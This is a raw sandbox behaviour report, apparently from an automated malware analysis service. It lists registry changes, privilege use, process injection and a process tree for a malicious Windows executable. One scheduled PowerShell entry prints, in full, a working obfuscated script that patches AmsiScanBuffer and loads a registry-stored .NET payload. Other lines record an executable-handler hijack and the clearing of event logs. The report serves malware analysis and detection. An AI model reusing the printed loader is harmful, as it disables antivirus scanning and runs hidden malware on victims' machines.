Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe

Modifies registry class 11 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000_Classes\Local Settings	WINUPD~1.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000_Classes\Local Settings	InstallUtil.exe
Key created	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000_Classes\Local Settings	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*"	czuanu.exe
Key created	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000_Classes\Local Settings	czuanu.exe
Key created	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000_Classes\Local Settings	$77SVC~1.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	czuanu.exe
Key created	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000_Classes\Local Settings	WinUpdate.exe
Key created	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000_Classes\Local Settings	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4352	schtasks.exe
1480	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
920	32f55b892056a01033de479bb15f445e.exe
920	32f55b892056a01033de479bb15f445e.exe
920	32f55b892056a01033de479bb15f445e.exe
920	32f55b892056a01033de479bb15f445e.exe
920	32f55b892056a01033de479bb15f445e.exe
920	32f55b892056a01033de479bb15f445e.exe
920	32f55b892056a01033de479bb15f445e.exe
920	32f55b892056a01033de479bb15f445e.exe
920	32f55b892056a01033de479bb15f445e.exe
1260	powershell.exe
1260	powershell.exe
792	InstallUtil.exe
3548	powershell.EXE
3548	powershell.EXE
3548	powershell.EXE
216	dllhost.exe
216	dllhost.exe
216	dllhost.exe
216	dllhost.exe
888	$77SVC~1.EXE
888	$77SVC~1.EXE
888	$77SVC~1.EXE
888	$77SVC~1.EXE
888	$77SVC~1.EXE
888	$77SVC~1.EXE
888	$77SVC~1.EXE
888	$77SVC~1.EXE
888	$77SVC~1.EXE
888	$77SVC~1.EXE
888	$77SVC~1.EXE
888	$77SVC~1.EXE
888	$77SVC~1.EXE
888	$77SVC~1.EXE
888	$77SVC~1.EXE
888	$77SVC~1.EXE
888	$77SVC~1.EXE
888	$77SVC~1.EXE
888	$77SVC~1.EXE
888	$77SVC~1.EXE
888	$77SVC~1.EXE
3548	powershell.EXE
216	dllhost.exe
216	dllhost.exe
792	InstallUtil.exe
4456	pop3.exe
4456	pop3.exe
792	InstallUtil.exe
216	dllhost.exe
216	dllhost.exe
216	dllhost.exe
216	dllhost.exe
4456	pop3.exe
216	dllhost.exe
216	dllhost.exe
3548	powershell.EXE
792	InstallUtil.exe
216	dllhost.exe
216	dllhost.exe
216	dllhost.exe
216	dllhost.exe
216	dllhost.exe
216	dllhost.exe
4456	pop3.exe
216	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	920	32f55b892056a01033de479bb15f445e.exe
Token: SeDebugPrivilege	920	32f55b892056a01033de479bb15f445e.exe
Token: SeDebugPrivilege	792	InstallUtil.exe
Token: SeDebugPrivilege	1260	powershell.exe
Token: SeDebugPrivilege	3548	powershell.EXE
Token: SeDebugPrivilege	4456	pop3.exe
Token: SeDebugPrivilege	3548	powershell.EXE
Token: SeDebugPrivilege	216	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	2312	svchost.exe
Token: SeIncreaseQuotaPrivilege	2312	svchost.exe
Token: SeSecurityPrivilege	2312	svchost.exe
Token: SeTakeOwnershipPrivilege	2312	svchost.exe
Token: SeLoadDriverPrivilege	2312	svchost.exe
Token: SeSystemtimePrivilege	2312	svchost.exe
Token: SeBackupPrivilege	2312	svchost.exe
Token: SeRestorePrivilege	2312	svchost.exe
Token: SeShutdownPrivilege	2312	svchost.exe
Token: SeSystemEnvironmentPrivilege	2312	svchost.exe
Token: SeUndockPrivilege	2312	svchost.exe
Token: SeManageVolumePrivilege	2312	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2312	svchost.exe
Token: SeIncreaseQuotaPrivilege	2312	svchost.exe
Token: SeSecurityPrivilege	2312	svchost.exe
Token: SeTakeOwnershipPrivilege	2312	svchost.exe
Token: SeLoadDriverPrivilege	2312	svchost.exe
Token: SeSystemtimePrivilege	2312	svchost.exe
Token: SeBackupPrivilege	2312	svchost.exe
Token: SeRestorePrivilege	2312	svchost.exe
Token: SeShutdownPrivilege	2312	svchost.exe
Token: SeSystemEnvironmentPrivilege	2312	svchost.exe
Token: SeUndockPrivilege	2312	svchost.exe
Token: SeManageVolumePrivilege	2312	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2312	svchost.exe
Token: SeIncreaseQuotaPrivilege	2312	svchost.exe
Token: SeSecurityPrivilege	2312	svchost.exe
Token: SeTakeOwnershipPrivilege	2312	svchost.exe
Token: SeLoadDriverPrivilege	2312	svchost.exe
Token: SeSystemtimePrivilege	2312	svchost.exe
Token: SeBackupPrivilege	2312	svchost.exe
Token: SeRestorePrivilege	2312	svchost.exe
Token: SeShutdownPrivilege	2312	svchost.exe
Token: SeSystemEnvironmentPrivilege	2312	svchost.exe
Token: SeUndockPrivilege	2312	svchost.exe
Token: SeManageVolumePrivilege	2312	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2312	svchost.exe
Token: SeIncreaseQuotaPrivilege	2312	svchost.exe
Token: SeSecurityPrivilege	2312	svchost.exe
Token: SeTakeOwnershipPrivilege	2312	svchost.exe
Token: SeLoadDriverPrivilege	2312	svchost.exe
Token: SeSystemtimePrivilege	2312	svchost.exe
Token: SeBackupPrivilege	2312	svchost.exe
Token: SeRestorePrivilege	2312	svchost.exe
Token: SeShutdownPrivilege	2312	svchost.exe
Token: SeSystemEnvironmentPrivilege	2312	svchost.exe
Token: SeUndockPrivilege	2312	svchost.exe
Token: SeManageVolumePrivilege	2312	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2312	svchost.exe
Token: SeIncreaseQuotaPrivilege	2312	svchost.exe
Token: SeSecurityPrivilege	2312	svchost.exe
Token: SeTakeOwnershipPrivilege	2312	svchost.exe
Token: SeLoadDriverPrivilege	2312	svchost.exe
Token: SeSystemtimePrivilege	2312	svchost.exe
Token: SeBackupPrivilege	2312	svchost.exe
Token: SeRestorePrivilege	2312	svchost.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
3424	Explorer.EXE
3424	Explorer.EXE

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4036	Conhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 920 wrote to memory of 2152	920	32f55b892056a01033de479bb15f445e.exe	86
PID 920 wrote to memory of 2152	920	32f55b892056a01033de479bb15f445e.exe	86
PID 920 wrote to memory of 2152	920	32f55b892056a01033de479bb15f445e.exe	86
PID 2152 wrote to memory of 4932	2152	cmd.exe	88
PID 2152 wrote to memory of 4932	2152	cmd.exe	88
PID 2152 wrote to memory of 4932	2152	cmd.exe	88
PID 920 wrote to memory of 4456	920	32f55b892056a01033de479bb15f445e.exe	89
PID 920 wrote to memory of 4456	920	32f55b892056a01033de479bb15f445e.exe	89
PID 920 wrote to memory of 4456	920	32f55b892056a01033de479bb15f445e.exe	89
PID 920 wrote to memory of 2868	920	32f55b892056a01033de479bb15f445e.exe	90
PID 920 wrote to memory of 2868	920	32f55b892056a01033de479bb15f445e.exe	90
PID 920 wrote to memory of 2868	920	32f55b892056a01033de479bb15f445e.exe	90
PID 920 wrote to memory of 2868	920	32f55b892056a01033de479bb15f445e.exe	90
PID 920 wrote to memory of 2868	920	32f55b892056a01033de479bb15f445e.exe	90
PID 920 wrote to memory of 2868	920	32f55b892056a01033de479bb15f445e.exe	90
PID 920 wrote to memory of 2868	920	32f55b892056a01033de479bb15f445e.exe	90
PID 920 wrote to memory of 2868	920	32f55b892056a01033de479bb15f445e.exe	90
PID 920 wrote to memory of 2480	920	32f55b892056a01033de479bb15f445e.exe	91
PID 920 wrote to memory of 2480	920	32f55b892056a01033de479bb15f445e.exe	91
PID 920 wrote to memory of 2480	920	32f55b892056a01033de479bb15f445e.exe	91
PID 920 wrote to memory of 2480	920	32f55b892056a01033de479bb15f445e.exe	91
PID 920 wrote to memory of 2480	920	32f55b892056a01033de479bb15f445e.exe	91
PID 920 wrote to memory of 2480	920	32f55b892056a01033de479bb15f445e.exe	91
PID 920 wrote to memory of 2480	920	32f55b892056a01033de479bb15f445e.exe	91
PID 920 wrote to memory of 2480	920	32f55b892056a01033de479bb15f445e.exe	91
PID 920 wrote to memory of 3028	920	32f55b892056a01033de479bb15f445e.exe	92
PID 920 wrote to memory of 3028	920	32f55b892056a01033de479bb15f445e.exe	92
PID 920 wrote to memory of 3028	920	32f55b892056a01033de479bb15f445e.exe	92
PID 920 wrote to memory of 3028	920	32f55b892056a01033de479bb15f445e.exe	92
PID 920 wrote to memory of 3028	920	32f55b892056a01033de479bb15f445e.exe	92
PID 920 wrote to memory of 3028	920	32f55b892056a01033de479bb15f445e.exe	92
PID 920 wrote to memory of 3028	920	32f55b892056a01033de479bb15f445e.exe	92
PID 920 wrote to memory of 3028	920	32f55b892056a01033de479bb15f445e.exe	92
PID 920 wrote to memory of 3608	920	32f55b892056a01033de479bb15f445e.exe	93
PID 920 wrote to memory of 3608	920	32f55b892056a01033de479bb15f445e.exe	93
PID 920 wrote to memory of 3608	920	32f55b892056a01033de479bb15f445e.exe	93
PID 920 wrote to memory of 3608	920	32f55b892056a01033de479bb15f445e.exe	93
PID 920 wrote to memory of 3608	920	32f55b892056a01033de479bb15f445e.exe	93
PID 920 wrote to memory of 3608	920	32f55b892056a01033de479bb15f445e.exe	93
PID 920 wrote to memory of 3608	920	32f55b892056a01033de479bb15f445e.exe	93
PID 920 wrote to memory of 3608	920	32f55b892056a01033de479bb15f445e.exe	93
PID 920 wrote to memory of 792	920	32f55b892056a01033de479bb15f445e.exe	94
PID 920 wrote to memory of 792	920	32f55b892056a01033de479bb15f445e.exe	94
PID 920 wrote to memory of 792	920	32f55b892056a01033de479bb15f445e.exe	94
PID 920 wrote to memory of 792	920	32f55b892056a01033de479bb15f445e.exe	94
PID 920 wrote to memory of 792	920	32f55b892056a01033de479bb15f445e.exe	94
PID 920 wrote to memory of 792	920	32f55b892056a01033de479bb15f445e.exe	94
PID 920 wrote to memory of 792	920	32f55b892056a01033de479bb15f445e.exe	94
PID 920 wrote to memory of 792	920	32f55b892056a01033de479bb15f445e.exe	94
PID 920 wrote to memory of 3276	920	32f55b892056a01033de479bb15f445e.exe	95
PID 920 wrote to memory of 3276	920	32f55b892056a01033de479bb15f445e.exe	95
PID 920 wrote to memory of 3276	920	32f55b892056a01033de479bb15f445e.exe	95
PID 3276 wrote to memory of 2204	3276	cmd.exe	97
PID 3276 wrote to memory of 2204	3276	cmd.exe	97
PID 3276 wrote to memory of 2204	3276	cmd.exe	97
PID 792 wrote to memory of 4936	792	InstallUtil.exe	99
PID 792 wrote to memory of 4936	792	InstallUtil.exe	99
PID 792 wrote to memory of 4936	792	InstallUtil.exe	99
PID 4936 wrote to memory of 1260	4936	cmd.exe	101
PID 4936 wrote to memory of 1260	4936	cmd.exe	101
PID 4936 wrote to memory of 1260	4936	cmd.exe	101
PID 1260 wrote to memory of 2012	1260	powershell.exe	102
PID 1260 wrote to memory of 2012	1260	powershell.exe	102
PID 1260 wrote to memory of 2012	1260	powershell.exe	102

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:616
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:380
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{efe77875-bc84-45ec-82b2-f2f81f0dad85}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:216

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:668

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:960

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:516

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:732

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1052
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2984
- C:\Windows\system32\MusNotification.exe
  C:\Windows\system32\MusNotification.exe
  2⤵
  PID:1320
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:GGdRsNAYqWQz{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$RROYkszJaLGcJJ,[Parameter(Position=1)][Type]$MaTbMYvcek)$JfyRGieePOU=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+[Char](102)+''+[Char](108)+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+'e'+'d'+[Char](68)+''+'e'+''+'l'+'e'+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+[Char](77)+''+[Char](101)+'m'+[Char](111)+''+'r'+''+'y'+''+[Char](77)+''+'o'+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+'e'+'',$False).DefineType(''+'M'+''+[Char](121)+''+'D'+''+[Char](101)+''+'l'+''+'e'+''+[Char](103)+'a'+'t'+''+[Char](101)+'T'+[Char](121)+''+[Char](112)+''+'e'+'',''+'C'+'la'+[Char](115)+''+'s'+''+','+''+[Char](80)+''+[Char](117)+''+'b'+'l'+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+'e'+[Char](100)+','+[Char](65)+''+[Char](110)+'s'+'i'+'Cl'+'a'+'s'+[Char](115)+''+','+'A'+[Char](117)+''+[Char](116)+''+'o'+''+'C'+''+'l'+'a'+'s'+'s',[MulticastDelegate]);$JfyRGieePOU.DefineConstructor('R'+'T'+''+[Char](83)+''+[Char](112)+''+[Char](101)+''+[Char](99)+''+[Char](105)+''+[Char](97)+''+'l'+'Na'+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](72)+'i'+'d'+''+'e'+''+[Char](66)+''+[Char](121)+'S'+'i'+''+'g'+''+[Char](44)+''+[Char](80)+''+[Char](117)+'b'+[Char](108)+'i'+'c'+'',[Reflection.CallingConventions]::Standard,$RROYkszJaLGcJJ).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+'e'+','+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+'e'+'d'+'');$JfyRGieePOU.DefineMethod(''+[Char](73)+'n'+'v'+''+[Char](111)+'k'+[Char](101)+'',''+[Char](80)+''+'u'+''+[Char](98)+''+'l'+''+[Char](105)+''+'c'+''+[Char](44)+''+[Char](72)+'id'+'e'+''+[Char](66)+''+[Char](121)+'S'+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+'e'+[Char](119)+'S'+[Char](108)+'o'+'t'+''+[Char](44)+''+[Char](86)+'i'+[Char](114)+''+'t'+''+[Char](117)+''+[Char](97)+''+'l'+'',$MaTbMYvcek,$RROYkszJaLGcJJ).SetImplementationFlags(''+'R'+'u'+[Char](110)+''+[Char](116)+''+[Char](105)+'m'+[Char](101)+''+','+''+[Char](77)+'a'+[Char](110)+''+[Char](97)+''+[Char](103)+''+'e'+''+'d'+'');Write-Output $JfyRGieePOU.CreateType();}$AupdJZDKzBvuJ=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+'y'+'s'+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+'dl'+[Char](108)+'')}).GetType(''+[Char](77)+'i'+'c'+''+[Char](114)+''+'o'+'s'+[Char](111)+''+[Char](102)+''+[Char](116)+''+'.'+''+[Char](87)+''+[Char](105)+''+[Char](110)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+'U'+''+'n'+'s'+'a'+''+[Char](102)+''+[Char](101)+''+[Char](78)+''+[Char](97)+''+'t'+''+'i'+''+[Char](118)+''+[Char](101)+''+[Char](77)+''+[Char](101)+''+'t'+''+[Char](104)+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$jsjyDyOuziMIUX=$AupdJZDKzBvuJ.GetMethod(''+'G'+''+[Char](101)+''+'t'+''+'P'+''+[Char](114)+''+[Char](111)+''+[Char](99)+''+[Char](65)+''+[Char](100)+''+[Char](100)+'r'+[Char](101)+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags]('Pu'+'b'+''+'l'+''+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+''+[Char](116)+''+[Char](97)+''+'t'+'ic'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$EveTaaysqtCzeDxyLIY=GGdRsNAYqWQz @([String])([IntPtr]);$kvaYdjVQpeOHbpaPWKDfBV=GGdRsNAYqWQz @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$XrVrcsbnzQo=$AupdJZDKzBvuJ.GetMethod(''+[Char](71)+'e'+[Char](116)+''+'M'+''+'o'+''+'d'+'u'+[Char](108)+''+'e'+''+[Char](72)+''+[Char](97)+''+'n'+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+'e'+'r'+''+'n'+''+'e'+''+'l'+''+[Char](51)+'2'+[Char](46)+'d'+[Char](108)+''+[Char](108)+'')));$lyhiZXuOufywJc=$jsjyDyOuziMIUX.Invoke($Null,@([Object]$XrVrcsbnzQo,[Object](''+'L'+''+[Char](111)+''+[Char](97)+''+[Char](100)+''+[Char](76)+''+'i'+''+[Char](98)+''+'r'+''+[Char](97)+''+'r'+''+[Char](121)+'A')));$NNFNsoeaZXmFfmtlu=$jsjyDyOuziMIUX.Invoke($Null,@([Object]$XrVrcsbnzQo,[Object](''+[Char](86)+'i'+'r'+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+'l'+'P'+[Char](114)+''+[Char](111)+''+'t'+'e'+[Char](99)+'t')));$SvNjTrI=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($lyhiZXuOufywJc,$EveTaaysqtCzeDxyLIY).Invoke(''+[Char](97)+''+[Char](109)+'s'+[Char](105)+''+'.'+''+[Char](100)+'l'+[Char](108)+'');$qPUZnBJDXdjaABeBN=$jsjyDyOuziMIUX.Invoke($Null,@([Object]$SvNjTrI,[Object]('A'+[Char](109)+''+'s'+''+[Char](105)+'S'+[Char](99)+''+'a'+''+'n'+''+'B'+''+[Char](117)+''+'f'+'f'+[Char](101)+''+[Char](114)+'')));$rrEBnqYdxC=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NNFNsoeaZXmFfmtlu,$kvaYdjVQpeOHbpaPWKDfBV).Invoke($qPUZnBJDXdjaABeBN,[uint32]8,4,[ref]$rrEBnqYdxC);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$qPUZnBJDXdjaABeBN,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NNFNsoeaZXmFfmtlu,$kvaYdjVQpeOHbpaPWKDfBV).Invoke($qPUZnBJDXdjaABeBN,[uint32]8,0x20,[ref]$rrEBnqYdxC);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+'O'+'F'+''+'T'+''+[Char](87)+''+'A'+''+[Char](82)+''+[Char](69)+'').GetValue(''+'$'+''+[Char](55)+''+[Char](55)+''+'s'+''+'t'+'a'+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3548
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4440

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1084

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1092

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1120

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1276
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2832

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1284

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1308

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1436

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1444

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1460

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1540

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1608

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1656

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1664

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1760

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1768

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1864

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1872

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1924

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1936

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2044

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2096

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2284

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2312

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2320

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2328

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2436

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2500

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2536

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2548

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2560

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2916

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:1640

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2696

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3332

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious use of FindShellTrayWindow
PID:3424
- C:\Users\Admin\AppData\Local\Temp\32f55b892056a01033de479bb15f445e.exe
  "C:\Users\Admin\AppData\Local\Temp\32f55b892056a01033de479bb15f445e.exe"
  2⤵
  - Checks computer location settings
  - Adds Run key to start application
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:920
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c ipconfig /release
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2152
  - - C:\Windows\SysWOW64\ipconfig.exe
      ipconfig /release
      4⤵
      System Location Discovery: System Language Discovery
      Gathers network information
      PID:4932
- - C:\Users\Admin\AppData\Local\Temp\pop3.exe
    "C:\Users\Admin\AppData\Local\Temp\pop3.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4456
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
    3⤵
    PID:2868
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
    3⤵
